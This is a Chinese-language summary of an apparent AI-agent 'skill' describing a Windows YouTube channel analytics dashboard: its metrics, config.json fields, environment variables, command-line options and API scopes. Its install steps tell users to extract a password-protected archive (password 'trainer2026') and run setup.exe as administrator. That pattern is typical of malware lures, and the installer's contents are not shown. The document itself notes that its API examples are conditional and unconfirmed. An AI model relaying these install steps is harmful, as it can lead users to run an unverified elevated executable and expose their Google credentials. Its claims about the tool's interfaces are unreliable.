用途
YouTube Channel Analytics Dashboard 是一款综合性分析工具，用于提供对 YouTube 频道表现的实时与历史洞察。它通过交互式仪表盘界面追踪观看量、观看时长、订阅者增长、收入估算和受众人口统计。该技能隶属于 ara.so 的 Data Skills 集合，旨在让 AI 智能体帮助开发者有效使用此仪表盘进行频道表现监控与报告。
主要能力
资料列出的核心能力包括：
- 实时统计监控（观看量、订阅者）
- 带增长图表的历史趋势可视化
- 收入跟踪与估算
- 受众人口统计与地理映射
- 视频级表现分析
- 报告导出（CSV/PDF 格式）
工具追踪的关键指标及更新频率如下：观看量（总量与每日视频观看量，实时）、观看时长（总观看分钟数，每小时）、订阅者（当前数量与增长，实时）、收入（基于 CPM 的估算收益，每日）、人口统计（年龄、性别、地理，每日）、互动（点赞、评论、分享，每小时）。
安装与环境要求
Windows 安装步骤：从仓库发布页下载软件包；解压归档文件（密码：trainer2026）；以管理员身份运行 setup.exe；按配置向导操作。
环境要求：操作系统为 Windows 10/11（64 位）；运行时需 .NET Framework 4.8+ 或 Visual C++ Redistributable；架构为 x64。
配置
需在应用目录创建 config.json，包含 youtube（api_key、channel_id）、refresh_interval、data_retention_days、export（default_format、output_directory）、dashboard（theme、auto_refresh）等字段。
需设置的环境变量包括 YOUTUBE_API_KEY、YOUTUBE_CHANNEL_ID、YOUTUBE_DATA_API_VERSION（v3）。
连接 YouTube API 前需准备：已启用 YouTube Data API 的 Google Cloud 项目；OAuth 2.0 凭据或 API 密钥；相应作用域 youtube.readonly、yt-analytics.readonly。
使用方式
启动仪表盘：标准启动命令为 .\YouTubeAnalytics.exe；可使用 --config custom_config.json 指定自定义配置；可使用 --debug --verbose 进入调试模式。
命令行界面支持：导出当前分析到 CSV；导出指定日期范围的 PDF；生成订阅者增长报告；仅获取实时统计数据并以 JSON 格式输出。
资料还提供了可扩展接口的 API 集成示例（C# 代码），涵盖初始化分析客户端、获取实时统计、获取历史数据、分析表现最佳视频、导出到 CSV，以及自动化脚本（定时日报生成、订阅者里程碑提醒）、数据分析模式（订阅者增长分析、收入跟踪、受众人口统计）、仪表盘自定义（创建自定义视图）、导出与报告（CSV 导出、PDF 报告生成）等代码示例。
适用场景
适合需要监控 YouTube 频道表现并进行报告的场景，例如追踪观看量、观看时长、订阅者增长、收入估算和受众分布；按视频维度分析表现；以及通过导出 CSV/PDF 或定时自动化生成报告。也支持多频道管理（使用独立的配置文件）和周期性导出报告。
限制
资料未提供该工具的收费、价格、平台支持范围（除 Windows 10/11 64 位外）等事实。文档中出现的部分代码示例标注为“If Extensible”或“If the tool provides a scriptable interface or API”，即这些接口能力取决于工具是否实际提供可脚本化接口，资料未明确确认。故障排查部分指出：收入数据可能有 2-3 天延迟；频道历史需满足最低 7 天；API 默认配额为每天 10,000 单位；大数据集可能导致高内存占用。